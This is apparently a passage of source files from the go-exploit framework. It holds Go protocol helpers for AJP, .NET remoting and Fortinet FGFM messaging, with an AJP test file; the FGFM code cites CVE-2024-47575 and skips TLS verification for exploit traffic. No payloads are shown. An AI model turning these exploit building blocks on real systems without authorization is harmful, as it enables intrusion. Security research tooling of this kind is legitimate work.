0xa001\n\tACCEPTCHARSET  definedHeaders = 0xa002\n\tACCEPTENCODING definedHeaders = 0xa003\n\tACCEPTLANGUAGE definedHeaders = 0xa004\n\tAUTHORIZATION  definedHeaders = 0xa005\n\tCONNECTION     definedHeaders = 0xa006\n\tCONTENTTYPE    definedHeaders = 0xa007\n\tCONTENTLENGTH  definedHeaders = 0xa008\n\tCOOKIE         definedHeaders = 0xa009\n\tCOOKIE2        definedHeaders = 0xa00a\n\tHOST           definedHeaders = 0xa00b\n\tPRAGMA         definedHeaders = 0xa00c\n\tREFERER        definedHeaders = 0xa00d\n\tUSERAGENT      definedHeaders = 0xa00e\n)\n\n// A data structure for holding Forward Request data before serialization.\ntype ForwardRequest struct {\n\tprefixCode int\n\tmethod     method\n\tprotocol   string\n\treqURI     string\n\tremoteAddr string\n\tremoteHost string\n\tserverName string\n\tserverPort int\n\tuseSSL     bool\n\theaders    []string\n\tattributes []string\n}\n\n// Creates a Forward Request struct and default constructs it.\nfunc createForwardRequest(host string, port int, ssl bool, uri string, headers []string, attributes []string) ForwardRequest {\n\trequest := ForwardRequest{}\n\trequest.prefixCode = 0x02\n\trequest.protocol = \"HTTP/1.1\"\n\trequest.reqURI = uri\n\trequest.remoteAddr = host\n\trequest.remoteHost = \"\"\n\trequest.serverName = host\n\trequest.serverPort = port\n\trequest.useSSL = ssl\n\trequest.headers = make([]string, 0)\n\n\trequest.headers = append(request.headers, \"host\")\n\trequest.headers = append(request.headers, host)\n\trequest.headers = append(request.headers, headers...)\n\n\trequest.attributes = make([]string, 0)\n\trequest.attributes = append(request.attributes, attributes...)\n\n\treturn request\n}\n\n// Sets the ForwardRequest method to GET and sets the content-length to 0.\nfunc setGetForwardRequest(request *ForwardRequest) {\n\trequest.method = GET\n\trequest.headers = append(request.headers, \"content-length\")\n\trequest.headers = append(request.headers, \"0\")\n}\n\n// Transforms a string into the AJP binary format.\nfunc appendString(serialized *[]byte, value string) {\n\tdata := *serialized\n\tif len(value) == 0 {\n\t\tdata = append(data, \"\\xff\\xff\"...)\n\t} else {\n\t\tdata = append(data, transform.PackBigInt16(len(value))...)\n\t\tdata = append(data, value...)\n\t\tdata = append(data, 0x00)\n\t}\n\t*serialized = data\n}\n\n// Transforms a bool into the AJP binary format.\nfunc appendBool(serialized *[]byte, value bool) {\n\tdata := *serialized\n\tif value {\n\t\tdata = append(data, 1)\n\t} else {\n\t\tdata = append(data, 0)\n\t}\n\t*serialized = data\n}\n\n// Transforms an int into the AJP binary format.\nfunc appendInt(serialized *[]byte, value int) {\n\tdata := *serialized\n\tdata = append(data, transform.PackBigInt16(value)...)\n\t*serialized = data\n}\n\n// Transforms the ForwardRequests struct into a []byte to be sent on the wire.\nfunc serializeForwardRequest(request ForwardRequest) []byte {\n\tserialized := make([]byte, 0)\n\tserialized = append(serialized, byte(FORWARD))\n\tserialized = append(serialized, byte(request.method))\n\tappendString(&serialized, request.protocol)\n\tappendString(&serialized, request.reqURI)\n\tappendString(&serialized, request.remoteAddr)\n\tappendString(&serialized, request.remoteHost)\n\tappendString(&serialized, request.serverName)\n\tappendInt(&serialized, request.serverPort)\n\tappendBool(&serialized, request.useSSL)\n\tappendInt(&serialized, len(request.headers)/2)\n\n\t// take use provided headers and translate them into AJP pre-defined headers\n\tfor _, header := range request.headers {\n\t\tswitch header {\n\t\tcase \"accept\":\n\t\t\tappendInt(&serialized, int(ACCEPT))\n\t\tcase \"host\":\n\t\t\tappendInt(&serialized, int(HOST))\n\t\tcase \"content-length\":\n\t\t\tappendInt(&serialized, int(CONTENTLENGTH))\n\t\tcase \"connection\":\n\t\t\tappendInt(&serialized, int(CONNECTION))\n\t\tcase \"user-agent\":\n\t\t\tappendInt(&serialized, int(USERAGENT))\n\t\tdefault:\n\t\t\tappendString(&serialized, header)\n\t\t}\n\t}\n\n\tfor i := 0; i < len(request.attributes); i += 2 {\n\t\tserialized = append(serialized, 0x0a)\n\t\tappendString(&serialized, request.attributes[i])\n\t\tappendString(&serialized, request.attributes[i+1])\n\t}\n\n\t// terminate\n\tserialized = append(serialized, 0xff)\n\n\theader := make([]byte, 0)\n\theader = append(header, 0x12)\n\theader = append(header, 0x34)\n\theader = append(header, transform.PackBigInt16(len(serialized))...)\n\tserialized = append(header, serialized...)\n\n\treturn serialized\n}\n\n// validate the magic received from the server.\nfunc checkRecvMagic(conn net.Conn) bool {\n\tmagic, ok := protocol.TCPReadAmount(conn, 2)\n\tif !ok {\n\t\treturn false\n\t}\n\n\treturn magic[0] == 0x41 && magic[1] == 0x42\n}\n\n// Read a response from the server. Generally: magic, length, <length amount>.\nfunc readResponse(conn net.Conn) (string, bool) {\n\tif !checkRecvMagic(conn) {\n\t\toutput.PrintFrameworkDebug(\"Received invalid magic\")\n\n\t\treturn \"\", false\n\t}\n\n\tlength, ok := protocol.TCPReadAmount(conn, 2)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\ttoRead := int(binary.BigEndian.Uint16(length))\n\tif toRead == 0 {\n\t\toutput.PrintFrameworkError(\"The server provided an invalid message length\")\n\n\t\treturn \"\", false\n\t}\n\n\tdata, ok := protocol.TCPReadAmount(conn, toRead)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\treturn string(data), true\n}\n\n// Reads the response from the server. Generally should be: send headers, send body chunk, end response\n// return the HTTP status, data, and bool indicating if we were successful or not.\nfunc readRequestResponse(conn net.Conn) (int, string, bool) {\n\theaders, ok := readResponse(conn)\n\tif !ok {\n\t\treturn 0, \"\", false\n\t}\n\n\tif len(headers) < 10 {\n\t\toutput.PrintFrameworkError(\"Received insufficient data\")\n\n\t\treturn 0, \"\", false\n\t}\n\n\tif headers[0] != byte(SENDHEADERS) {\n\t\toutput.PrintFrameworkError(\"Received unexpected message type\")\n\n\t\treturn 0, \"\", false\n\t}\n\n\tstatus := int(binary.BigEndian.Uint16([]byte(headers[1:3])))\n\n\tallData := \"\"\n\tfor {\n\t\tbody, ok := readResponse(conn)\n\t\tif !ok {\n\t\t\treturn status, \"\", false\n\t\t}\n\n\t\tswitch body[0] {\n\t\tcase byte(SENDBODYCHUNK):\n\t\t\tallData += body[3:]\n\t\tcase byte(ENDRESPONSE):\n\t\t\treturn status, allData, true\n\t\tdefault:\n\t\t\toutput.PrintFrameworkError(\"Unexpected message type\")\n\n\t\t\treturn status, \"\", false\n\t\t}\n\t}\n}\n\n// Send and recv an AJP message.\n// return the HTTP status, data, and bool indicating if we were successful or not.\nfunc SendAndRecv(host string, port int, ssl bool, uri string, verb string, headers []string, attributes []string) (int, string, bool) {\n\t// validate headers is well formed\n\tif (len(headers) % 2) != 0 {\n\t\toutput.PrintFrameworkError(\"HTTP header key, value should each take an array slot\")\n\n\t\treturn 0, \"\", false\n\t}\n\t// validate attributes is well formed\n\tif (len(attributes) % 2) != 0 {\n\t\toutput.PrintFrameworkError(\"Attibute key, value should each take an array slot\")\n\n\t\treturn 0, \"\", false\n\t}\n\n\t// build the AJP request and transform it depending on the verb\n\treq := createForwardRequest(host, port, ssl, uri, headers, attributes)\n\tswitch strings.ToLower(verb) {\n\tcase \"get\":\n\t\tsetGetForwardRequest(&req)\n\tdefault:\n\t\toutput.PrintFrameworkError(\"%s is not a currently supported verb\", verb)\n\n\t\treturn 0, \"\", false\n\t}\n\n\t// connect to the remote host\n\tconn, ok := protocol.MixedConnect(host, port, ssl)\n\tif !ok {\n\t\treturn 0, \"\", false\n\t}\n\n\t// serialize the request into it's binary format and yeet it over the wire\n\tserialized := serializeForwardRequest(req)\n\tif !(protocol.TCPWrite(conn, serialized)) {\n\t\treturn 0, \"\", false\n\t}\n\n\treturn readRequestResponse(conn)\n}\n"
  },
  {
    "path": "protocol/ajp/ajp_test.go",
    "content": "package ajp\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestStructCreation(t *testing.T) {\n\treq := createForwardRequest(\"127.0.0.1\", 80, false, \"/hello\", []string{\"accept\", \"text/html\"}, []string{})\n\tif req.protocol != \"HTTP/1.1\" {\n\t\tt.Error(\"Unexpected protocol specified\")\n\t}\n\n\t// loop through the headers looking for the defaults\n\tfoundHost := false\n\tfoundAccept := false\n\tfmt.Println(req.headers)\n\tfor _, header := range req.headers {\n\t\tif strings.HasPrefix(header, \"accept\") {\n\t\t\tfoundAccept = true\n\t\t}\n\t\tif strings.HasPrefix(header, \"host\") {\n\t\t\tfoundHost = true\n\t\t}\n\t}\n\n\tif !foundHost {\n\t\tt.Error(\"Missing Host header\")\n\t}\n\tif !foundAccept {\n\t\tt.Error(\"Missing Accept header\")\n\t}\n}\n\nfunc TestStructSerialize(t *testing.T) {\n\treq := createForwardRequest(\"127.0.0.1\", 80, false, \"/hello\", []string{}, []string{})\n\tsetGetForwardRequest(&req)\n\tserialized := serializeForwardRequest(req)\n\n\tif serialized[0] != 0x12 || serialized[1] != 0x34 {\n\t\tt.Error(\"Invalid magic\")\n\t}\n\n\tif serialized[4] != 0x02 {\n\t\tt.Errorf(\"Invalid code: %d\", serialized[4])\n\t}\n\n\tif serialized[5] != 0x02 {\n\t\tt.Errorf(\"Invalid method: %d\", serialized[5])\n\t}\n\n\tif serialized[6] != 0x00 && serialized[7] != 0x08 {\n\t\tt.Errorf(\"Invalid protocol length\")\n\t}\n\n\tif !bytes.Equal(serialized[8:16], []byte(\"HTTP/1.1\")) {\n\t\tt.Errorf(\"Invalid protocol version %s\", string(serialized[8:16]))\n\t}\n}\n"
  },
  {
    "path": "protocol/dotnetremoting/dotnetremoting.go",
    "content": "// A library for .NET remoting functionality\n//\n// The exploit remoting service tool by tyranid was the primary reference for this implementation.\n// Note: Everything is in little endian\n//\n// Usage Example:\n//\n//\tdata = \"\\x00\\x00blahblah\"\n//\turi = \"tcp://192.168.113.231:9999/SomeEndpoint\"\n//\t// conn = get a net.Conn somehow...\n//\tnewmessage := dotnetremoting.Message{}\n//\tnewmessage.WriteDefaultPreamble(dotnetremoting.OperationRequest, len(data), uri)\n//\t_,err = conn.Write([]byte(newmessage.GetMessage(data))) // NOTE THE GetMessage call here, this finalizes the message\n//\tif err != nil {\n//\t\tfmt.Println(fmt.Sprintf(\"Error sending: %s\", err))\n//\t\treturn\n//\t}\n//\tfmt.Println(\"sent\")\n//\n//\t// recv from end\n//\tbuf := make ([]byte, 4096)\n//\t_,err = conn.Read(buf)\n//\tfmt.Println(fmt.Sprintf(\"%x\", buf))\n//\tfmt.Println(fmt.Sprintf(\"%s\", buf))\npackage dotnetremoting\n\nimport (\n\t\"encoding/binary\"\n\t\"net\"\n\t\"net/url\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n// types and 'enums'.\ntype Message struct {\n\tPreambleData string\n\tHeaderData   string\n}\n\n// Strings, because go thinks strings are as nifty as bytes.\ntype MessageResponse struct {\n\tMajorVersion        string\n\tMinorVersion        string\n\tOperationType       string\n\tContentDistribution string\n\tDataLength          int\n\tHeaders             map[string]string\n\tData                string\n}\n\ntype OperationType string\n\nconst ( // OPERATION TYPES (ushort)\n\tOperationTypeRequest       OperationType = \"\\x00\\x00\"\n\tOperationTypeOneWayRequest OperationType = \"\\x01\\x00\"\n\tOperationTypeReply         OperationType = \"\\x02\\x00\"\n)\n\ntype HeaderToken string\n\nconst ( // HEADER TOKENS (ushort)\n\tHeaderTokenEndHeaders      HeaderToken = \"\\x00\\x00\"\n\tHeaderTokenCustom          HeaderToken = \"\\x01\\x00\"\n\tHeaderTokenStatusCode      HeaderToken = \"\\x02\\x00\"\n\tHeaderTokenStatusPhrase    HeaderToken = \"\\x03\\x00\"\n\tHeaderTokenRequestURI      HeaderToken = \"\\x04\\x00\"\n\tHeaderTokenCloseConnection HeaderToken = \"\\x05\\x00\"\n\tHeaderTokenContentType     HeaderToken = \"\\x06\\x00\"\n)\n\ntype HeaderDataFormat string\n\nconst ( // HEADER DATA FORMAT (byte)\n\tHeaderDataFormatVoid          HeaderDataFormat = \"\\x00\"\n\tHeaderDataFormatCountedString HeaderDataFormat = \"\\x01\"\n\tHeaderDataFormatByte          HeaderDataFormat = \"\\x02\"\n\tHeaderDataFormatUint16        HeaderDataFormat = \"\\x03\"\n\tHeaderDataFormatInt32         HeaderDataFormat = \"\\x04\"\n)\n\ntype ContentDistribution string\n\nconst ( // CONTENT DISTRIBUTION (ushort)\n\tContentDistributionNotChunked ContentDistribution = \"\\x00\\x00\"\n\tContentDistributionChunked    ContentDistribution = \"\\x01\\x00\"\n)\n\ntype StringEncoding string\n\nconst ( // STRING ENCODING (byte)\n\tStringEncodingUnicode StringEncoding = \"\\x00\"\n\tStringEncodingUtf8    StringEncoding = \"\\x01\"\n)\n\ntype TCPStatusCode string\n\nconst ( // TCP STATUS CODE (byte)\n\tTCPStatusCodeSuccess TCPStatusCode = \"\\x00\"\n\tTCPStatusCodeError   TCPStatusCode = \"\\x01\"\n)\n\n// The 'preamble' is basically the set of headers before the body.\nfunc (msg *Message) WritePreamble(uri string, opType OperationType, dataLength int, contentDistribution ContentDistribution, contentType string) {\n\turiObj, err := url.Parse(uri)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not write preamble: error trying to parse provided uri=%s, err=%s\", uri, err)\n\n\t\treturn\n\t}\n\tmsg.PreambleData = \".NET\"\n\tmsg.PreambleData += \"\\x01\"                                // major version\n\tmsg.PreambleData += \"\\x00\"                                // minor version\n\tmsg.PreambleData += string(opType)                        // operation type\n\tmsg.PreambleData += string(contentDistribution)           // content distribution\n\tmsg.PreambleData += transform.PackLittleInt32(dataLength) // length of payload to be sent\n\tmsg.AddContentTypeHeader(contentType)\n\tif uri != \"\" {\n\t\tmsg.AddURIHeader(uri, HeaderTokenRequestURI)\n\t\tmsg.AddCustomHeader(\"__RequestUri\", uriObj.Path)\n\t}\n}\n\n// Can be used for 'most' things, otherwise use WritePreamble.\nfunc (msg *Message) WriteDefaultPreamble(uri string, opType OperationType, dataLength int) {\n\tmsg.WritePreamble(uri, opType, dataLength, ContentDistributionNotChunked, \"application/octet-stream\")\n}\n\n// Run this when you are finished putting headers and such together.\n// This function will also add the end header so you should not write that part anywhere else.\n// Obviously pass \"\" as the arg if you do not have data to add.\nfunc (msg *Message) GetMessage(data string) string {\n\treturn msg.PreambleData + msg.HeaderData + string(HeaderTokenEndHeaders) + data\n}\n\n// uri in this case should probably look something like tcp://1.2.3.4:2814/SomeEndpoint\nfunc (msg *Message) AddCustomHeader(headerName string, headerValue string) {\n\tmsg.HeaderData += string(HeaderTokenCustom)\n\taddCountedString(&msg.HeaderData, StringEncodingUtf8, headerName)\n\taddCountedString(&msg.HeaderData, StringEncodingUtf8, headerValue)\n}\n\n// uri in this case should probably look something like tcp://1.2.3.4:2814/SomeEndpoint\nfunc (msg *Message) AddURIHeader(uri string, headerToken HeaderToken) {\n\tmsg.HeaderData += string(headerToken)\n\tmsg.HeaderData += string(HeaderDataFormatCountedString)\n\taddCountedString(&msg.HeaderData, StringEncodingUtf8, uri)\n}\n\n// this will probably be application/octet-stream almost every time but making options.\nfunc (msg *Message) AddContentTypeHeader(contentType string) {\n\tmsg.HeaderData += string(HeaderTokenContentType)\n\tmsg.HeaderData += string(HeaderDataFormatCountedString)\n\taddCountedString(&msg.HeaderData, StringEncodingUtf8, contentType)\n}\n\nfunc (msg *Message) AddStatusPhraseHeader(statusPhrase string) { // untested\n\tmsg.HeaderData += string(HeaderTokenStatusPhrase)\n\taddCountedString(&msg.HeaderData, StringEncodingUtf8, statusPhrase)\n}\n\nfunc (msg *Message) AddCloseConnectionHeader() { // untested\n\tmsg.HeaderData += string(HeaderTokenCloseConnection)\n\tmsg.HeaderData += string(HeaderDataFormatVoid)\n}\n\nfunc (msg *Message) AddStatusCodeHeader(isError bool) { // untested\n\tmsg.HeaderData += string(HeaderTokenStatusCode)\n\tif isError {\n\t\tmsg.HeaderData += transform.PackLittleInt16(1)\n\n\t\treturn\n\t}\n\t// success\n\tmsg.HeaderData += transform.PackLittleInt16(0)\n}\n\nfunc (msg *MessageResponse) Dump() {\n\toutput.PrintFrameworkStatus(\"Contents of message:\")\n\toutput.PrintfFrameworkStatus(\"Major Version: %s\", msg.MajorVersion)\n\toutput.PrintfFrameworkStatus(\"Minor Version: %s\", msg.MinorVersion)\n\toutput.PrintfFrameworkStatus(\"Operation Type Version: %s\", msg.OperationType)\n\toutput.PrintfFrameworkStatus(\"ContentDistribution: %s\", msg.ContentDistribution)\n\tif len(msg.Headers) > 0 {\n\t\toutput.PrintStatus(\"Headers:\")\n\t\tfor key, val := range msg.Headers {\n\t\t\toutput.PrintfFrameworkStatus(\"Header Key: %s | Header Value: %s\", key, val)\n\t\t}\n\t}\n\toutput.PrintfFrameworkStatus(\"DataLength: %d\", msg.DataLength)\n\toutput.PrintfFrameworkStatus(\"Data: %s\", msg.Data)\n}\n\n// Parsing functions.\nfunc ParseResponseFromConn(conn net.Conn) (MessageResponse, bool) {\n\tmsg := MessageResponse{}\n\tmagicBuf := make([]byte, 4)\n\tmajorVerBuf := make([]byte, 1)\n\tminorVerBuf := make([]byte, 1)\n\topTypeBuf := make([]byte, 2)\n\tcontentDistributionBuf := make([]byte, 2)\n\tdataLengthBuf := make([]byte, 4)\n\n\t// checking magic bytes from message\n\t_, err := conn.Read(magicBuf)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Could not parse magic from response\")\n\n\t\treturn MessageResponse{}, false\n\t}\n\n\tif string(magicBuf) != \".NET\" {\n\t\toutput.PrintfFrameworkError(\"Magic mismatch: received: %s/%x, expected: '.NET'\", string(magicBuf), magicBuf)\n\n\t\treturn MessageResponse{}, false\n\t}\n\n\t// finish parsing preamble\n\t_, err = conn.Read(majorVerBuf)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Could not parse major version from response\")\n\n\t\treturn MessageResponse{}, false\n\t}\n\tmsg.MajorVersion = string(majorVerBuf)\n\n\t_, err = conn.Read(minorVerBuf)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Could not parse minor version from response\")\n\n\t\treturn MessageResponse{}, false\n\t}\n\tmsg.MinorVersion = string(minorVerBuf)\n\n\t_, err = conn.Read(opTypeBuf)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Could not parse operation type from response\")\n\n\t\treturn MessageResponse{}, false\n\t}\n\tmsg.OperationType = string(opTypeBuf)\n\n\t_, err = conn.Read(contentDistributionBuf)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Could not parse content distribution from response\")\n\n\t\treturn MessageResponse{}, false\n\t}\n\tmsg.ContentDistribution = string(contentDistributionBuf)\n\n\t_, err = conn.Read(dataLengthBuf)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Could not parse data length from response\")\n\n\t\treturn MessageResponse{}, false\n\t}\n\tmsg.DataLength = int(binary.LittleEndian.Uint32(dataLengthBuf))\n\n\t// take care of the headers\n\theaders, ok := readHeadersFromConn(conn)\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"Failed parsing headers from response\")\n\n\t\treturn MessageResponse{}, false\n\t}\n\n\tmsg.Headers = headers\n\n\tmsg.Data, ok = readNBytes(conn, msg.DataLength)\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"Failed reading data from response\")\n\n\t\treturn MessageResponse{}, false\n\t}\n\n\treturn msg, true\n}\n\n//nolint:gocognit\nfunc readHeadersFromConn(conn net.Conn) (map[string]string, bool) {\n\treadHeaders := make(map[string]string)\n\ttokenBuf := make([]byte, 2)\n\tdataTypeBuf := make([]byte, 1)\n\n\t// read initial token\n\t_, err := conn.Read(tokenBuf)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Failed reading initial token value from response\")\n\n\t\treturn map[string]string{}, false\n\t}\n\n\t// while we have not read the End of Headers 'token'\n\tfor string(tokenBuf) != string(HeaderTokenEndHeaders) {\n\t\tname := string(tokenBuf)\n\t\tvalue := \"\"\n\n\t\tswitch string(tokenBuf) {\n\t\tcase string(HeaderTokenCustom): // HeaderTokenCustom\n\t\t\t// untested\n\t\t\tstr, ok := readHeaderStringFromConn(conn)\n\t\t\tif !ok {\n\t\t\t\toutput.PrintFrameworkError(\"Failed reading custom header name from response\")\n\n\t\t\t\treturn map[string]string{}, false\n\t\t\t}\n\t\t\tname = str\n\n\t\t\tstr, ok = readHeaderStringFromConn(conn)\n\t\t\tif !ok {\n\t\t\t\toutput.PrintFrameworkError(\"Failed reading custom header value from response\")\n\n\t\t\t\treturn map[string]string{}, false\n\t\t\t}\n\t\t\tvalue = str\n\n\t\tdefault:\n\t\t\t_, err := conn.Read(dataTypeBuf)\n\t\t\tif err != nil {\n\t\t\t\toutput.PrintfFrameworkError(\"Failed reading data type, err=%s\", err)\n\n\t\t\t\treturn map[string]string{}, false\n\t\t\t}\n\n\t\t\tswitch string(dataTypeBuf) {\n\t\t\tcase string(HeaderDataFormatVoid):\n\t\t\t\tbreak\n\t\t\tcase string(HeaderDataFormatCountedString):\n\t\t\t\tdata, ok := readHeaderStringFromConn(conn)\n\t\t\t\tif !ok {\n\t\t\t\t\toutput.PrintFrameworkError(\"Failed reading counted header string\")\n\n\t\t\t\t\treturn map[string]string{}, false\n\t\t\t\t}\n\t\t\t\tvalue = data\n\t\t\tcase string(HeaderDataFormatByte):\n\t\t\t\tdataBuf := make([]byte, 1)\n\t\t\t\t_, err = conn.Read(dataBuf)\n\t\t\t\tif err != nil {\n\t\t\t\t\toutput.PrintfFrameworkError(\"Failed reading format byte, err=%s\", err)\n\n\t\t\t\t\treturn map[string]string{}, false\n\t\t\t\t}\n\t\t\t\tvalue = string(dataBuf)\n\t\t\tcase string(HeaderDataFormatUint16):\n\t\t\t\tdataBuf := make([]byte, 2)\n\t\t\t\t_, err = conn.Read(dataBuf)\n\t\t\t\tif err != nil {\n\t\t\t\t\toutput.PrintfFrameworkError(\"Failed reading uint16, err=%s\", err)\n\n\t\t\t\t\treturn map[string]string{}, false\n\t\t\t\t}\n\t\t\t\tvalue = string(dataBuf)\n\t\t\tcase string(HeaderDataFormatInt32):\n\t\t\t\tdataBuf := make([]byte, 4)\n\t\t\t\t_, err = conn.Read(dataBuf)\n\t\t\t\tif err != nil {\n\t\t\t\t\toutput.PrintfFrameworkError(\"Failed reading uint32, err=%s\", err)\n\n\t\t\t\t\treturn map[string]string{}, false\n\t\t\t\t}\n\t\t\t\tvalue = string(dataBuf)\n\t\t\t}\n\t\t}\n\n\t\toutput.PrintfFrameworkTrace(\"Parsed header: %s = %s\", name, value)\n\t\treadHeaders[name] = value\n\n\t\t_, err = conn.Read(tokenBuf)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"Failed reading token value, err=%s\", err)\n\n\t\t\treturn map[string]string{}, false\n\t\t}\n\t\toutput.PrintfFrameworkTrace(\"token value %x\", tokenBuf)\n\t}\n\toutput.PrintFrameworkTrace(\"done parsing headers\")\n\n\treturn readHeaders, true\n}\n\nfunc readHeaderStringFromConn(conn net.Conn) (string, bool) {\n\tencodingTypeBuf := make([]byte, 1)\n\tstringLengthBuf := make([]byte, 4)\n\t_, err := conn.Read(encodingTypeBuf)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Failed reading encoding type from header string\")\n\n\t\treturn \"\", false\n\t}\n\t_, err = conn.Read(stringLengthBuf)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Failed reading string length from header string\")\n\n\t\treturn \"\", false\n\t}\n\n\t// encodingType := string(encodingTypeBuf) // sorry, just going to ignore this for now.\n\tstringLength := int(binary.LittleEndian.Uint32(stringLengthBuf))\n\n\tstringData, ok := readNBytes(conn, stringLength)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\treturn stringData, true\n}\n\n// don't love this function.\nfunc readNBytes(conn net.Conn, n int) (string, bool) {\n\tdata := \"\"\n\tbuf := make([]byte, 1) // ugh...\n\tremaining := n\n\n\tfor remaining > 0 {\n\t\tbytesRead, err := conn.Read(buf)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"Failed reading N bytes from connection\")\n\n\t\t\treturn \"\", false\n\t\t}\n\t\tdata += string(buf)\n\n\t\tremaining -= bytesRead\n\t}\n\n\treturn data, true\n}\n\n// Helper functions.\n// This is private on purpose to promote helper functions to keep things easier to use.\n//\n//nolint:unparam\nfunc addCountedString(msg *string, encodingType StringEncoding, stringValue string) {\n\t*msg += string(encodingType)\n\t*msg += transform.PackLittleInt32(len(stringValue))\n\t*msg += stringValue\n}\n"
  },
  {
    "path": "protocol/fortinet/fgfm.go",
    "content": "// Package fortinet is a very basic (and incomplete) implementation of Fortinet FGFM protocol\npackage fortinet\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"encoding/binary\"\n\t\"net\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\n// Creates and sends a Fortinet FGFM message to a FortiManager.\n// The format is closed source, but research by BF, Watchtowr, and Rapid7 have helped uncover the basic message header structure:\n// [4 bytes of magic header]\n// [4 bytes of total request length]\n// [n bytes request body data].\nfunc SendFGFMMessage(conn net.Conn, payload string) bool {\n\tmessage := make([]byte, 0)\n\t// add magic header\n\tmessage = append(message, []byte(\"\\x36\\xe0\\x11\\x00\")...)\n\t// build the total length field\n\ttotalLengthField := make([]byte, 4)\n\tlength := len(payload) + 8\n\tbinary.BigEndian.PutUint32(totalLengthField, uint32(length))\n\tmessage = append(message, totalLengthField...)\n\t// add payload\n\tmessage = append(message, []byte(payload)...)\n\n\treturn protocol.TCPWrite(conn, message)\n}\n\n// Reads response from a FortiManager.\nfunc ReadFGFMMessage(conn net.Conn) ([]byte, bool) {\n\tmagic, ok := protocol.TCPReadAmount(conn, 4)\n\tif !ok || !bytes.Equal(magic, []byte(\"\\x36\\xe0\\x11\\x00\")) {\n\t\toutput.PrintFrameworkError(\"Failed to read server response with expected header\")\n\n\t\treturn nil, false\n\t}\n\tsize, ok := protocol.TCPReadAmount(conn, 4)\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"Failed to read server response length\")\n\n\t\treturn nil, false\n\t}\n\n\treadSize := int(binary.BigEndian.Uint32(size))\n\tdata, ok := protocol.TCPReadAmount(conn, readSize-8)\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"Failed to read server response data\")\n\n\t\treturn nil, false\n\t}\n\n\treturn data, true\n}\n\n// Fortimanager requires a connecting Fortigate instance to have a cert.\n// SSL is optional here so you have the choice to sign the traffic from the go-exploit framework,\n// or so you can send the exploit network traffic through a proxy like socat to sign the traffic for you.\n// Benefits to this include being able to generate pcaps of the unencrypted traffic\n// between go-exploit and your proxy.\n// See CVE-2024-47575 for additional information.\nfunc Connect(host string, port int, ssl bool, cert []byte, key []byte) (net.Conn, bool) {\n\tif ssl {\n\t\tcert, err := tls.X509KeyPair(cert, key)\n\t\tif err != nil {\n\t\t\toutput.PrintFrameworkError(\"Failed to load x509 Key Pair\")\n\t\t\toutput.PrintfFrameworkDebug(\"Failed to load x509 Key Pair with error: %s\", err)\n\n\t\t\treturn nil, false\n\t\t}\n\t\tcfg := &tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true}\n\n\t\tconn, ok := protocol.TCPConnect(host, port)\n\t\tif !ok {\n\t\t\treturn nil, false\n\t\t}\n\n\t\treturn tls.Client(conn, cfg), true\n\t}\n\n\treturn protocol.TCPConnect(host, port)\n}\n"
  },
  {
    "path": "protocol/http-user-agent.txt",
    "content": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
  },
  {
    "path": "protocol/httphelper.go",
    "content": "// Network protocols. The core go-exploit protocol package contains a set of helper functions for common HTTP, TCP, and UDP actions and subpackages are provided to handle complex or specific use cases.\npackage protocol\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"crypto/tls\"\n\t_ \"embed\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/textproto\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/db\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n// GlobalUA is the default User-Agent for all go-exploit comms\n//\n//go:embed http-user-agent.txt\nvar GlobalUA string\n\n// GlobalCommTimeout is the default timeout for all socket communications.\nvar GlobalCommTimeout = 10\n\n// Returns a valid HTTP/HTTPS URL provided the given input.\nfunc GenerateURL(rhost string, rport int, ssl bool, uri string) string {\n\turl := \"\"\n\tif ssl {\n\t\turl += \"https://\"\n\t} else {\n\t\turl += \"http://\"\n\t}\n\n\t// is the address v6?\n\tip := net.ParseIP(rhost)\n\tif ip != nil && ip.To4() == nil {\n\t\trhost = \"[\" + rhost + \"]\"\n\t}\n\n\turl += rhost\n\turl += \":\"\n\turl += strconv.Itoa(rport)\n\turl += uri\n\n\treturn url\n}\n\n// Using the variable amount of paths, return a URI without any extra '/'.\nfunc BuildURI(paths ...string) string {\n\turi := \"/\"\n\tfor _, path := range paths {\n\t\tif !strings.HasSuffix(uri, \"/\") && !strings.HasPrefix(path, \"/\") {\n\t\t\turi += \"/\"\n\t\t}\n\t\turi += path\n\t}\n\n\treturn uri\n}\n\n// BasicAuth takes a username and password and returns a string suitable for an Authorization header.\n//\n//\tresp, body, ok = protocol.HTTPSendAndRecvWithHeaders(\"GET\", fmt.Sprintf(\"%s?%s\", url, params), \"\", map[string]string{\n//\t\t\"Authorization\": 